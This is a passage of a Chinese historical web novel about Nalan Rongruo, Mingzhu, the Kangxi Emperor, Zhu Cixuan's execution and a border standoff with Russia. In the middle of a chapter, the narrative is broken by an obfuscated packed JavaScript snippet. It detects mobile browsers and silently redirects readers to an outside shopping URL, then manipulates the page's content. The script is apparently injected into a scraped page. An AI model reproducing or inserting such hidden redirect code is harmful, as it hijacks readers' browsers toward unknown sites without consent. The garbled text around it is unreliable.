“好,这个问题阿玛早就想回答你了。你能把这两点做到极致,就能够流芳百世。你要是有一丁点瑕疵,就是家法和皇权所不容。” 容若低头不语。 阿玛真是概括的精确,确实如此,分毫不差。 高士奇匆匆登门求见。 “明珠大人,下官跟索党的走狗李光地一同,亲眼目睹了朱三太子被抓的场景。” “当时可真是了不得,那朱慈焕不知道用了什么本事,竟然迅速集合了一队反清人马,一边大骂康熙皇帝做事狠绝、对朱元璋的子孙后代赶尽杀绝,一边树立起了整整十面大旗,旗面之上,皆是大写一个‘明’字,由身强力壮的男子来摇旗呐喊,俨然要捍卫朱家王朝血脉的最后尊严一般。” “皇上派出额仑拓将军和巴喀多将军一并率领一千两百将士前去与之相较,哪想叛军作战力极强,将朱三太子拥护在战车之上,神鬼不分,见人就杀!不过两个回合下来,我军就伤亡过半……两位将军不敢给皇上发真实战报,只得重新回营帐思量对策。终于——” “下官得出一计,就以明党的名义献策道:不能凭借武力再这么打下去了,否则就算是落得一个两败俱伤和为国捐躯的惨地,也不能将朱慈焕捉拿回去复命啊!为今之计,我军需直冲朱慈焕而去,而非剿灭追随他的叛军。唯有请两位将军下令:让众兵士前仆后继、不怕牺牲,呈现‘鹤羽之阵’来勇往直前、直到杀出了一条到朱慈焕战车处的道路来,才是上上策。” “两位将军照做,敢为人先,一阵枪林弹雨和炮声火光下来,终于打开血路杀到了朱慈焕本人面前,将那人从战车上擒拿,一剑削落那人的发冠和未成辫的头发,就此宣告了:朱三太子完全落入大清手中!” “高大人你做得好!”明珠大赞,“在皇上赏你之前,本官也要对你重重犒劳!过后,你且先回家中去,本官的心意后续就到。” “多谢明珠大人!”高士奇心中喜悦,“那下官就先告退了。” 明珠客气道:“来人,送高大人离府。” * 养心殿内。 明珠父子一并面见康熙皇帝。 “朕听说,额仑拓和巴喀多两位将军浴血奋战,把生死置之度外,终于突破了蛮军贼寇的重围,大灭朱三太子的形象与威风。“ “是啊!天道一直被皇上掌握在手中。”明珠奉承道,“朱三太子再如何想逆转,老天爷也不会答应。” 见康熙皇帝面带满意神色,明珠故意造谣道: “臣跟容若在来的路上,碰见索党的李光地,竟然从他口中听到这么一句话:‘这一仗打的真艰难啊!’臣立刻上前纠正:‘艰难跟无能有何区别?李大人你这么抱怨,是对皇上交给你的督战差事的不满,也是对战死之人的不敬!’岂料李光地不思悔过,反而嘲讽起皇上来,说之所以会——多加一战和多死无数人,都是皇上没有当机立断在草原上处死朱三太子的缘故。” 容若心想,还是阿玛老辣。 一通谣言,不但攻击了索党之人,也声东击西地指出了皇上的过失。 “朕,自知造成今日的不必要战祸是己之过。”玄烨看着明珠,“你记着:叫你儿子多提醒朕,不然就是你儿子跟朕同错。” 明珠点头称是,又大声道: “皇上,捉拿朱三太子的战役已休,不管是打头阵的曹寅图海周培公三人,还是压轴一击的额仑拓和巴喀多两位将军,都算是大清的功臣。论功行赏之后,唯有将朱三太子赐死于刑场之上,才对得起卷入其中的兵士亡魂啊!” “明珠你说,朕该以何种方式处死朱三太子?” “不瞒皇上,出发之前,臣正好跟容若议论过此事。”明珠把解决方案抛给儿子,“容若有所见解,皇上不妨一听。” 容若在心中冷笑,阿玛呀阿玛,儿什么时候跟您聊过这个? “是吗?”玄烨略皱眉,“你们父子已经提前为朕分忧了?纳兰你说——” 容若道:“回皇上,臣闻李后主饮牵机毒药而死,算是宋太祖对其开恩,留其全尸,存其死状前后的尊严。皇上不如参合宋太祖之举,赐朱三太子毒药鹤顶红一罐,让其以此方法来结果自己的性命。” “你真是这么想的?”玄烨存疑。 “臣……”纳兰特别想说自己是被明珠倒逼的,“是这般给皇上提供决策参考的。” “好!”玄烨拍案决定,“就按照你说的方式来办!” 109.第109章 刑场之上,朱三太子被赐死当日。 天降中雪,乌云密布,风吹冷砖地,人在刺骨间。 为防止有人大胆劫法场,康熙皇帝派出图海、额仑拓、巴喀多三位将军各率领精锐兵士,成三足鼎立之势,将要犯朱慈焕紧盯其中。 然而,前来围观的老百姓,在人数上明显比处死吴应熊时要少了许多。 究其原因,有三: 第一,朱三太子的身份特殊,他身上流淌的是大明皇室血脉,绝非吴应熊的额驸头衔; 第二,朱三太子具有标志性,他的倒台意味着无人能够冒充他或是借他的名义再兴风作浪,吴应熊仅仅是为父亲而牺牲,存在感并没有那么强烈; 第三,朱三太子死的不悲壮,他不是战死、不是像崇祯皇帝一样殉国,而是以毫无波澜的形式死在一杯毒酒之下,不痛苦亦不值得人言多议。 高士奇和李光地从头到尾呆在刑场,直到确认无误:朱慈焕已死。 才双双松了一口气,立马回皇宫去给康熙皇帝回话。 李光地道:“……朱慈焕完全没有之前的高姿态,臣还以为,他不会轻易就范地拿起刽子手端来的毒酒来饮,而是会一边打翻酒杯、一边骂天骂地骂皇上,然后在刽子手的按压下才把毒酒灌下肠肚呢……结果没想到,朱慈焕竟然像个普通死囚一样,老老实实地接过酒杯就喝,跪地如雕像而死。” “皇上,臣怕那朱慈焕假死,就多了个心眼上前去确认。” 高士奇补充道:“臣就那么推了他的肩膀一下,他整个人就散倒在地,跟软泥似的,没有一丝声音。臣还是不放心,又叫刽子手拿起大刀、对着朱慈焕的脖子的要害处一划,看那人真的是没有任何反应了,才敢站在皇上面前来复命。” “高大人,你那是亵渎死者!”李光地骂道,“明党就是这般残忍对待死者尸首的吗?” “本官的一举一动,都是忠君报国!”高士奇铿锵有力,“朱慈焕诡计多端,不可不防其‘假死逃脱’的险恶用心。割他脖子算是轻的,皇上自会明鉴。” 听罢,康熙皇帝摆摆手叫高李二人不必再争吵。 又问:“你俩知道,朕为什么让你俩分别取代明珠和索额图,去做要犯的督斩官吗?” 两人同时道:“臣等不知,请皇上明示。” “你俩感受到了吗?朕不是纵容党争,而是想看看党争之下像你俩这样趋炎附势的官员有多少。你俩各为其主,骨子里却又不服从于各自的靠山,所以朕断定,在将来你俩一定会从明索两党之中脱离,一心一意为朕办事。” 康熙皇帝扬起了嘴角。 话已至此,李光地和高士奇该明白圣意了吧? * 却说索额图来到接壤的边境以后,看见沙俄兵马人数不多、却人人身强力壮,内心已是先存恐惧。 “他们有多少人?” “保守估计是八百。” “他们要是就此放马过来,那还了得?”索额图连连后退数步,“看见没有,那些人,身高个个要高出咱们半只手臂,体型个个要强咱们一倍,交战没有胜算啊!” 同行的伦达将军道:“索大人,皇上没叫咱们打仗,只是叫咱们去交涉边境和平。你怎么能未入对方领地,就打了退堂鼓?” “伦达将军,你觉得我军跟沙俄能谈吗?我军肯定会受制于人,到时候你我就成了大清的罪人!” “这——” “咱们虽有马匹,但步兵居多,不能跟人家的骑兵比啊!” “本将军说过多次了,皇上没有我们去打仗,为何索大人句句不离‘交战’二字?” “你敢说沙俄不是有备而来,有心犯我边境,巴不得兵戎相见?本官清醒的很,这一仗不但不能打,而且咱们应当立即回朝向皇上说明敌情。” 伦达将军据理力争了一番,没有起到任何效果。 索额图有意把身负的皇命忘的干干净净,这般贪生怕死的姿态,令伦达将军气的牙痒痒,奈何索额图的权力比他大,他也无可奈何。 半夜。 沙俄军队越境而来,向清军营地连发数炮。 索额图从梦中惊醒,庆幸自己的性命还在,遂做出指示:全军不可与俄军死战,要以顺从之态来摸清俄军的来意和诉求。 伦达将军把宝刀往地上一扔,一脸愤怒,在心中恨骂:“索额图,你这个无能之辈,简直是让朝廷受辱啊!” 索额图来到俄军面前,仰头看着俄军大将洛涅夫,屈怂道:“将军定是对我清军的来意有所误会,才会先一步出击。其实我清军这次来,仅仅对边境之地做巡逻,绝无要与贵国为敌之意。” 一想到俄军侵犯边境、掠夺资源、仗势欺人的罪行,伦达将军就痛心疾首。偏偏索额图又是个没骨气的,只会一味忍让求和,只会助长俄军的嚣张气焰。 索额图继续道:“将军听本官一言,且带领兵马回去吧!我清军后日必定从此处撤离,从此双方井水不犯河水,各安领地,缔结友好,如何?” 洛涅夫胡须浓密,几乎看不清脸庞,索额图只看见那人的嘴巴和眼珠子在动。洛涅夫的魁梧身躯从烈马上一跃而下,把索额图吓得差点摔到地上,只靠左右属下搀扶。 洛涅夫步上前,拔出军刀来对着众清军,用极其蹩脚的汉话道: “我沙俄面积广大,岂会在意大清国的区区寸土?什么越境与抢夺,纯属子虚乌有!回去告诉你朝皇帝,沙俄与大清平等,接壤之国,实力强者胜,勿要再派人来探,否则俄军一定不客气。” 索额图唯唯诺诺地应了下来。 伦达将军却再也无法忍受,当众大骂: “索大人,要不你不敢让我等与俄方堂堂正正地见面和交涉,又岂会让我等沦落到受俄方摆布的地步?就是因为你怕承担责任,才会酿出我等被俄方欺压的恶果来!你真是一无是处,对不住皇上,也对不住大清啊!” 再洛涅夫将军和俄军军队得意洋洋的笑声中,索额图哑口无言,宁愿地壳忽然开裂,好有个洞来让自己钻进去。 俄军以不战而胜、不谈而赢的骄傲之姿,举枪踏马、笑声震天而去。 清军兵士人人不敢言语,不知接下来索大人会做出转变迎难而上,还是继续做个缩头乌龟,真的就这么垂头丧气地返回京师。 雪下的越发大,人心也变得越发冷。 索额图走进了营帐,不许任何人前去打扰。他是心乱如麻,不晓得该如何自救,更别说是让他想出办法来去救全军了。 * 坤宁宫中,赫舍里皇后已经开始准备和安排后宫的新年事宜。 惠妃、荣嫔、宜嫔、德嫔等主位,分坐厅中两侧,一面聆听皇后娘娘的年事嘱咐,一面等着皇上到来。 “皇后娘娘今天的气色可真好。”德嫔道,“臣妾们见了,也是人人都打起了精神,不怨这寒冷的天气了。” “后宫的女子,无论是什么位分,都要自己打磨出平和的心境来。”赫舍里皇后微笑道,“只有心境平和了,才能侍奉好皇上。皇上马上就要来了,各位妹妹都要好好恭迎皇上才是。” 众嫔妃起身道:“臣妾等谨遵皇后娘娘教诲。” “皇上驾到——” “臣妾等恭请皇上圣安。” “都免礼。” 玄烨坐到了嫡妻身边,看着其余诸妃。 “皇上,因为这半年以来,三藩之战、朱三太子案、边境有敌来扰等事连起,国库开销巨大,银钱并不充裕,所以臣妾方才已经跟各位妹妹说了,新年家宴,一切从简,讲究家和与人情味为主。” “皇后思虑周全,一切按照皇后的意思办。” “皇上您在前朝排除万难处理军国大事,安天下定民心,臣妾等在后宫为皇上尽心和绵延子嗣,都是应当的。” “多亏有皇后体恤朕和教导众嫔妃,朕才能在关键时刻面去家事烦扰。” 玄烨忽然看向纳兰惠儿,问她:“惠妃,皇长子日益长大,你这个做额娘的辛苦了。有空,也要带着皇长子多跟皇后和各宫母妃亲近才是。” “是,臣妾会带着胤禔多出去走走。”惠妃顺着君心,“多谢皇上关爱。” “你的表兄纳兰容若在处死吴应熊和朱慈焕的事情上,都为朕拿了主意。”玄烨眼带测试,“你不妨跟朕说说,融贵人之事,该如何收场。” “后宫嫔妃犯错,由皇后做主处置;后宫嫔妃犯上于君,由皇上亲自处分。臣妾不敢僭越。” “朕叫你说,你就当着众嫔妃的面直说。”玄烨环指了厅内半圈,“融贵人之事拖到现在,也该让众嫔妃引以为戒了。” “是。”惠妃见解道,“若是小惩大戒,仅仅是罚俸禄或是降低吃穿用度标准,未免太轻,不然融贵人不会死性不改至今。请皇上将额哲氏贬为庶民,另居一处,不再享受嫔妃礼待。” “褫夺封号,逐出后宫。”赫舍里皇后尚存仁慈,“是否会引起噶尔丹部族不满?” 惠妃道:“回皇后娘娘,臣妾听闻噶尔丹正在平息草原各旗的骚动与叛乱,恐怕无暇过问皇上的家事。后妃是否为后妃,从来都是皇上一句话。融贵人若为庶人期间有所反省,潜心抄经,静心养性,那等噶尔丹为朝廷立功以后,皇上自然可以借这个理由来让融贵人恢复位分,由此也不算是得罪噶尔丹。” “有道理。”赫舍里皇后点头,“皇上的意思呢?” “好。”玄烨叫来顾问行,“顾总管,传朕旨意:即日起,额哲氏贬为庶民,迁居它处,无朕允许,不得与任何人往来。” “是,奴才马上去办。” 玄烨对众嫔妃笑道:“后宫人和,朕深感欣慰。前朝棘手之事,终将一一解决,等到年后,朕会多来后宫,为太皇太后尽孝,也为子嗣之事尽责。你等要听从皇后教导,时刻记得自己的身份和立场,都明白了吗?” 众嫔妃起身应道:“臣妾等遵皇上圣意。” * 养心殿内,玄烨坐在御案后认真批阅奏章。 新年前夕的奏章会比平时多,因为大臣和各地官僚们都赶着皇上“放假”之前,把该上奏的事情一股脑儿地往上呈递。 玄烨做出批示的速度不快不慢,只是当中的一些小事令他感到多余。纳兰坐在侧面,按照玄烨的意思写五首应制诗,主题无疑是跟“新年”相关。 玄烨原本以为一切都会朝着好的方向发展,等到除夕家宴结束,迎来新的一岁,就是万象更新的好盼头,却不想被眼前的事实泼了盆冷水。 有侍卫带着“故作姿态”的索额图来见—— 索额图顶戴歪斜,官服松垮,两袖沾染尘泥,一脸苦相。 再看他的衣领,却是用顶好的水貂绒做的,油亮完好,不见一丝“风尘仆仆”返京后的汗渍浸透与变形。 玄烨倒是想听听索额图有什么话说。 “皇上。”几乎含泪大叫一声后,索额图跪了下去,“臣有罪啊,这次和谈之事,臣没有办成!” 玄烨沉住了气,不愠不怒,只如早已预料到后果一般,问:“我军损伤了多少兵力,朕的颜面受到了多少屈辱?” 索额图并不直面回应,而是先强调了一遍客观情况: “俄军人肥马壮,配刀堪长,更有不可估测的火力炮车,我军没有胜算的把握!臣将军队驻扎在边境附近,打算等将士休整过后,在以他们为坚实后盾,只身一人前去与沙俄代表洛涅夫谈判……岂料俄军狡诈,竟半夜偷袭我军!” 玄烨深知索额图嘴里没有一句实话:“是你无能还是敌方厉害,朕自会找伦达将军来对质。” “臣不敢欺君!”索额图急着为自己辩解,又指着纳兰道,“皇上,你就算是您派了明珠去,明珠也会做同样的选择!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14239954|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿玛明珠不会像索大人你一样,为了一己的苟且偷生连大清的尊严都不要了!” 面对索额图给大清丢脸之举,纳兰心中无比气愤。 索额图冷道:“面对那些一个顶两的沙俄骑兵,你阿玛要是能稳的住阵脚,我索额图自当肝脑涂地!洛涅夫将军自称沙俄是世界上面积最大的国家,压根不把大清的‘寸土’放在眼里;他还说,沙皇陛下是世界上最伟大的君主,周边不少国主都已经主动臣服,若是大清不主动向沙俄修好,就动斥于武力。” 纳兰觉得索额图毫无骨气,仅凭沙俄将军的几句话,就被吓的示弱而返。 “康熙皇帝和彼得大帝同为一国之君,难道在索大人你眼里,不是按照功绩和德行来定优劣,而按照身型和外貌来论输赢了吗?” “纳兰公子此言差矣,大敌当前,本官无时无刻不是在为皇上考虑。损兵折将之事,比撤兵再战要来得合理。” “那还请索大人说出一番强词夺理的大话来——” “纳兰公子,你毫不懂军事!” “什么?”纳兰从桌后站起,气对索额图,“我要是不懂军事,我就没资格陪在皇上身边!” 玄烨心中莫名一笑,怎么,纳兰也懂生气、会生气吗? 朕甚少见纳兰脸上的这般表情。 * “报——沙俄送来《俄清边境友好条约》——” 一个传使带照会【注1】而来。 玄烨比想象当中的还要冷静。 一字一句地看完《条约》的内容后,玄烨的照会放到了桌子上,道: “索额图有罪归有罪,细细想来,我大清之所以会被沙俄轻蔑,积弊已久,并非只是这次的忍辱而归。” 玄烨走出御案,仰头望着穹顶。 “朕的时代跟列祖列宗毕竟不同啊!西洋人、日本人都派使者来过我大清,或入朝为官、或拜学国粹、或乞求通商……他们至少还把朕和大清放在眼里。而沙俄,却是一强敌,朕始终都不主张开战,原因就是他们的领土广大、人马强壮、拉锯力长,非我大清之普兵所能比。” “孔子说:礼之用,和为贵。纵使是沙皇在照会中直言,大清北部极度寒冷、人烟稀少,派兵驻守也得不偿失,不如让给沙俄来共修友好,朕心里也相当清楚:国家领土,不可割让;国家主权,不可有失;国家尊严,不可败坏。所以《俄清边境友好条约》签不得!” 索额图一句话都不敢应答。 玄烨转身走向御案,拿过《条约》,甩到索额图手上。 “索额图,朕知道,叫你去回绝此事是指望不上了。明珠父子也不行。这事,朕亲自来解决。” “皇上英明!”索额图一正顶戴,“臣知罪。臣等皇上的好消息。” * 玄烨叫传使把沙俄的大臣戈洛文叫进了养心殿。 “参见大清国皇上。”戈洛文不跪,之行了单手抱胸的弯腰礼,“我沙皇陛下亲自修书一封,托我带给大清国皇上,请大清国皇上慎重考虑照会内容。” “国与国之间如果只按领土面积和一国之君的个人意愿来称雄,那一定不是在走正道。”玄烨一丝不苟地端坐着,“我大清刚刚平息三藩战役、诛杀前明太子朱慈焕,国力和威望蒸蒸日上,口碑和实力大大增强,各项改革稳步前进,绝不妥协于沙皇的无理要求。” 戈洛文道:“我沙皇陛下了解大清过皇帝不开战的用意,所以才希望两国缔结《俄清边境友好条约》,这样一来,大清国长期无人居住的北方冻土,交由我沙俄来开垦,不是为大清国皇帝消除顾虑了吗?” “朕没有消除顾虑,反而感慨贵国沙皇深谋远虑。”玄烨清醒道,“北方冻土虽不是宜人宜居的环境,但是木材资源和矿藏资源众多,还有野兽出没其间,这些都是大清国宝贵的财富。朕的祖辈,是从北方的长白山下起家的,朕不会怕冷也不会不理冻土荒芜,所缺的只是一个开发契机。回去告诉你们沙皇,大清不会签《条约》,康熙皇帝也不会答应《条约》上的任何内容!” 戈洛文的态度已经不再礼貌,道:“如果大清国皇上将我沙俄陛下的要求置之不理,那么我沙俄必将经常来犯,还请大清国皇上考虑后果!” 说着,戈洛文把照会双手一捧,摆出一副给康熙皇帝施压的姿态来。 玄烨指着照会道:“沙皇有统一世界的野心,想要吞并的又岂止是我大清的北方冻土?朕岂会割让土地来给你国沙皇得寸进尺的机会?要是大清国皇上就此就范,国将不保,还有何脸面面对日本、朝鲜、缅甸、越南等邻国!唇亡齿寒啊,朕不会叫大清成为沙俄的板上鱼肉。” 见康熙皇帝态度坚定,戈洛文不由得退缩了几分。 玄烨进一步道:“你听着,朕虽为国为民抵制大规模开战,但沙皇要是置朕的仁德和忍让于不顾,非要挑起不义之战,就休怪朕亲征沙俄!” 听到“亲征”二字,戈洛文双腿一软,跌坐在了地上。 见戈洛文把《条约》叠好,重新放回身上,玄烨威严道:“你回沙俄去,朕不会为难你!” 索额图不知哪来的勇气,竟然双手叉腰,对戈洛文大声道: “你把我大清国皇帝的话,都仔细回复了你国的沙皇陛下,看你国沙皇陛下还敢不敢挑衅我大清!” 戈洛文脸色惶恐且阴沉,庞大的身躯像是一扇背光的门,散发出朽木的气息。 鼓起最大勇气与康熙皇帝对视片刻之后,戈洛文终于让步,向着康熙皇帝一鞠躬,转身踏出了养心殿,就此结束了自己登临大清的第一程。 ——是的,在日后,这位沙俄大臣还会第二次来清。 ——但那已经是清俄双方签订《尼布楚条约》之前的三个月的事情了。 【注1】照会:国际间的一种书信交往形式,始于明代,有“会同照阅”之意。 110.第110章 见沙俄大臣戈洛文败走而去,索额图如事后诸葛一般,对康熙皇帝表示忠心。 “臣目睹皇上遣退沙俄大臣戈洛文的赫赫英姿,心中十分佩服,更是不得不承认自己的怯懦与无能。要是皇上能够再给我索额图一次机会,来日彼得大帝再敢派兵或派大臣来扰大清安宁,我索额图一定牢记国家尊严,以皇上今日的风范为例,不卑不亢,保我国威!” “好,朕今日就牢牢记下你的承诺,看你是否有言实行,一辈子能为大清做一件好事。” “臣索额图,谨记使命,万死不辞!” 而在日后,索额图有所悔改,为大清立下大功—— 率领使者团与沙俄大臣戈洛文理性谈判,加以反驳俄方的不正当要求和怒斥俄方的不正义举措,最终促使了《尼布楚条约》的签订,却是在纳兰容若“舍尘世、往仙界”而去的一年之后了。 此刻的纳兰,目光落回了桌面上的应制诗上。 写节庆诗的欢庆感和喜悦感,跟康熙皇帝的胜利感和飒爽感很是应和。 玄烨再也不是少年天子了,经历过这些足以奠定他的明君地位的事,他作为皇帝的才能也越发地被激发了出来。 在纳兰看来,未来康熙皇帝的功绩只会越来越高,像是:彻底让“三藩”的字眼从大清历史上消失、收复台岛、稳固清俄边境、征战噶尔丹、兴农治河……都是值得爱新觉罗家的后世子孙称颂之事。 只是。 纳兰颤动了一下睫毛,“平息党争”会不会也归入康熙实绩之一呢? 玄烨让索额图告退后,来到了纳兰身边。 他拿起他的文字作品来看,不说好与坏,只说:“朕读诗书,以‘苏门四学士’之一的秦观秦少游的婉约词为好。世人道:他人之词,词才也;秦少游之词,词心也。朕读了十二年《纳兰词》,可加上一句:容若之词,词魄也。” “臣不懂皇上的意思。”纳兰写下一个“瑰”字,“皇上是不是想说‘词瑰’二字?” 玄烨摇头,“诚然《纳兰词》风格瑰丽、是世间的瑰宝,但是在朕看来,《纳兰词》最宝贵的还是‘真切’二字。你的魂魄在词里,朕稍不留神,就捉不住。” “纳兰,你不能离开朕。你的才华和心志,都是朕的。” “皇上言重了,臣恰恰是惧怕这种被您主宰命运的感觉。” 纳兰坐了下去,拿起毫笔,蘸了砚台里的浓墨,让浓墨顺着笔毛滴落在白纸上,或高或低、或大或小、或深或浅,犹如人生一般变幻无常、错综复杂。 纳兰心中是这样的感觉: ——康熙皇帝对我,执着心胜过知己情。 ——他希望从我身上掠夺一切,又潜移默化地不许我受到一点伤害;他希望从我口中听得真言,又故作姿态对我时骂时赞重则欲杀;他希望我是个独一无二的存在,又不是百分百包容我、理解我。 “这幅《墨点图》,献给皇上。” 纳兰往图作的左上方盖了自己的印章。 “你不给朕多写几个字?” “写什么好呢?”纳兰歪头一想,“寒天雪里人共在,满纸真心墨未干。” “不错。”玄烨若有所思地一改,“今宵帐暖人共在,最是君心意未干。朕今晚翻惠妃的牌子,把这句话说给她听。” “皇上真要说,就把‘意未干’换成‘惜红颜’。” “俗气。” “面对惠妃,皇上就姑且当纳兰性德是个俗人吧!” “你是觉得朕对不住你的词句,还是对不住惠妃这个人?” “臣没什么好回应的,先请告退。” “好,朕准你回家多待些日子,这几天你不必来了。” 纳兰不言谢,起身离开了养心殿。 路上,他难免想到惠儿,但求惠儿侍君顺心、大阿哥成长顺利,母子万事皆好。 * 回到明府。 走进自己的房间,容若看见了坐在书桌后的明珠。 “儿给阿玛请安。” “起来。” 别的父子在没有外人的时候可以不拘礼,但是纳兰家家教森严,任何礼教都免不得。 明珠筹谋道:“索额图犯下大错,我明珠要是能够利用沙俄大臣戈洛文来陷索党于不义,岂非千载难逢?” “阿玛若是已经决意,可以把自己的想法说出来,儿帮着参合参合。但是现今正是皇上开创盛世和与列祖列宗并论功绩之际,阿玛真的认为在这个关头派阀相斗合适?” “也许是我明珠沉不住气,又或许是我明珠想出一口气,才会动这样的念头。沙俄大臣在气头上,根据可靠情报,戈洛文还在使馆未走,阿玛想过去跟他私密相交。” “不管阿玛您口中的‘交’字是指‘私下结交’还是‘密切交谈’,一旦被人抓住把柄,就不是您扳倒索额图,而是反过来,索党之人可以反过来弹劾您勾结外臣。到时候您拿什么去给皇上解释,世上最解释不清楚的东西就两样:欲加之罪和密室之语。” “容若,你的担心在理。但是阿玛不是个不谨慎的人。” “请阿玛听儿的心声:两党相争,只有输家,没有真正的赢家。皇上的心思,不是已经渐渐放在了观察李光地和高士奇两人身上了吗?这是‘直接派任’和‘间接分权’呐!阿玛没有察觉吗?” “你不说,我倒真是忽略了这一本质。”明珠捋了捋胡子,“高士奇在事后,都将自己经历过的和亲眼目睹的一切告知于我,我以为是他忠于我明珠,现在想明白了,这也只是他自保的一种方式。” “是啊,高士奇要是犯了皇上的忌讳,能保他的就只有阿玛您。他既要为天子办事,又要揣摩阿玛您的心思,最佳的办法,不正是两头都事无巨细地说、两头都不得罪吗?反观索党的李光地,也一样。” “不错,容若,是你让阿玛看清了这点。” 容若和明珠对饮了几杯暖茶。 有丫鬟按觉罗氏的吩咐送来了点心:芙蓉酥和绿豆糕。 父子俩人各拿了自己的所爱来吃,冬吃糕点,讲究的是一份投缘,合不合心情倒是次要。 芙蓉酥香甜,绿豆糕软糯,合乎父子俩人的胃口、也契合当下时点。 屋外雪纷飞,屋内□□,恰似笔墨勾勒分冷暖、盏香袅袅辨虚实。 待到桌上的盘碟被撤下,一览如旧之时,明珠道:“此刻阿玛脑中,不知为何回响着一句话:人算不如天算。” “所以‘以和为贵’的好。”容若拆解明珠心境,“人算可得一时之快,却输天算的——螳螂捕蝉,黄雀在后之变数。阿玛应当把目光放长远,作梗索党不必急于一时。” “我明珠在督察院左督御使的任职上,还没有做出过一件能向皇上邀功的实事来,心里不好受。” “阿玛您这个官阶,跟六部尚书是同级,您行监察之责,他行协理之职,都是为朝廷效力,风险却是天差地别。” 容若神色认真,步步提醒道: “儿以为,阿玛您最好跟都察院之人搞好关系,该给人施恩就给人施恩,该予人便利就予人便利,该和人共担风雨就和人共担风雨。免得到时候有谁记仇,或是有谁得了天胆,向皇上弹劾你……就像是我能否站上朝堂全部取决于皇上一样,阿玛您的官位和实权能否经久不衰,也是皇上口中的一句话而已。” “我明珠几乎除了武职以外,各类官阶都做了个遍。这人啊,三尺微命,当真是:一辈子能吃多少米饭、一生功名能居多高、一世评价能得多好……都是注定的。” “儿今日想到了‘君臣同慌’四个字。”容若缓声道,“这种相互作用力,真实而令人恐惧,君臣双方都一样。” “罢了,阿玛不跟沙俄大臣戈洛文多做联系了。”明珠自我说服,又道,“等到年过完后,咱们父子去向皇上请个准,让你额娘进宫去看看惠儿。” “万万不可,皇上的疑虑未消,今日还拿我的词来仿写、说要翻惠妃的牌子来激气于我呢。” “那得看惠儿自己的造化。”明珠站在伯父的角度,“最起码她是大阿哥的生母,老祖宗惦记着。” “后宫的事情,除非皇上主动说,否则咱们父子还是少过问的好。” “你要是能完全放下,阿玛自然不会在你面前提惠儿。” “是,阿玛您对儿看得透彻。” * 来到渌水亭的回廊内。 容若对侧夫人笑道:“不知怎么的,想饮一口酒。跟你一起围炉说话。” “真是一口不是一杯的话,袖云去准备。” “好,就一口。”容若与袖云一同走了一段路,然后坐到临近残荷处,“在客人们面前我饮数杯,在家人们身边,我就小酌一口香。” 看着侧夫人的背影,容若为她写了一首词。 《相好调·小酌香》 长廊几许,携手处,静待时光,流霞独香。飞琼似蝶舞翻弄,暗芳如月华盈袖,此中最是长相望。 天云相接片片浓,瓦树前后一色共,为谁厮守,为谁红妆。欲将笑比酒中仙,却道、话多饮少何妨? * 是夜。 容若怀抱一个暖手小铜炉,半卧在窗边的长榻上看雪。 袖云相伴在侧。 “皇上在过年之前处理好了军国大事,公子也能放下心来,在府上跟阿玛和额娘一起过个团圆年。” 容若握着她的手,“袖云,今年的团圆饭,你坐我身边。” 袖云心中喜悦,感动于公子真挚,却也不得不按照明府的家法来做出回应:“没有侧室坐在夫君身边的规矩,能够跟夫君同桌进膳,袖云已经满足。” “不必顾及那些。”容若宽和护妻,“你是我的侧夫人,我理应多顾着你。” “多谢公子。”她脉脉相依,“袖云听公子的安排。” 想到一些年例的行项,容若问:“纳兰家的祈福事宜,都安排下去了?” 袖云应道:“是,都已经派人去详细告知过‘济国寺’的妙觉禅师了。” 容若点头,期许道:“以后持家和人情世故之事,你要多跟额娘学着一些。” “是,日后正夫人做不来的打点人情场合之事,袖云会多向额娘请教。” 容若笑,“你怎知我的正夫人做不来?” “因为公子更看好袖云,知道袖云的长处。所以袖云愿意为额娘分忧家事。” “辛苦你了。”容若情真意切,“日后不管还有谁家的女儿嫁进来,袖云你对我而言,都是独一无二的存在。我说自己这辈子会好好待你,绝不食言。” 相依温茶赏雪许久,容若忽然道:“阿玛和额娘同样看重子嗣。” 袖云脸上飘过一抹红云,半低头,她知道公子意思,因而藏笑不语。 “咱们的孩子,不管是男是女,咱们都当他们的好阿玛、好额娘。” “公子……想要几个孩子?” “我的骨肉不分出生早晚,我都疼爱。” 说罢,容若搂了搂侧夫人,低头相触她的眉心。 袖云合眸,感受着 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“你从明珠身上得不到好处,捞不到官场利益,就对明珠的儿子下手,你还是个人吗!” 徐乾学刮着自己的玉扳指,假惺惺道: “本官如今跟爱徒容若不得见,只得自己默默整理《通志堂经解》用得到的经册目录,期间的师生情分从未生疏过,岂容你挑拨离间?” 顾贞观对眼前人劈头一顿数落: “徐乾学,一计不成再生一计,屡屡害了纳兰公子的人是你,你还好意思说出‘师生情分’四个字?当真是以为史册上把你跟纳兰性德记载为‘良师益友’,你就配得上‘良师’称号吗?” “本官不配,你顾贞观就配吗?” 徐乾学的玉扳指擦过茶盏时,发出刺耳的一声响。 顾贞观怒指窗外:“顾某真恨不得一把火烧了你的藏书阁!” 徐乾学一瞪眼:“你敢——” 徐顾二人好似决战的的孤狼一般,导火索一触即发。 从口舌过度到行动,他俩争夺的不是猎物,而是外人所不懂的身为文人的骨气和人品。 * 慈宁宫已经换上了年节的喜庆的布置。 桌案之上,摆放着吉祥果盘,果盘为圆形,里面划分了四格,分别盛装着:红枣、栗子、长命果、脆柿子,象征着:四季平安;皇上早早立子、太皇太后福寿延年;大清万安,天下事眼前事万事如意。 正殿门外,悬挂着六盏约“一臂高”的璀璨宫灯,这是苏州织造进献的,用料包括上等的竹篾片、蔑丝、色纸和各种装饰品。点燃里面的烛火以后,可以看见:栩栩如生的如腾跃在空的金龙、惟妙惟肖的如摆尾戏水的双鱼、明艳动人的大朵雍容花卉。 孝庄回忆道:“我嫁给皇太极的时候,盛京皇宫的年关,遵循的还是老汗王努尔哈赤立下的规矩呢。” 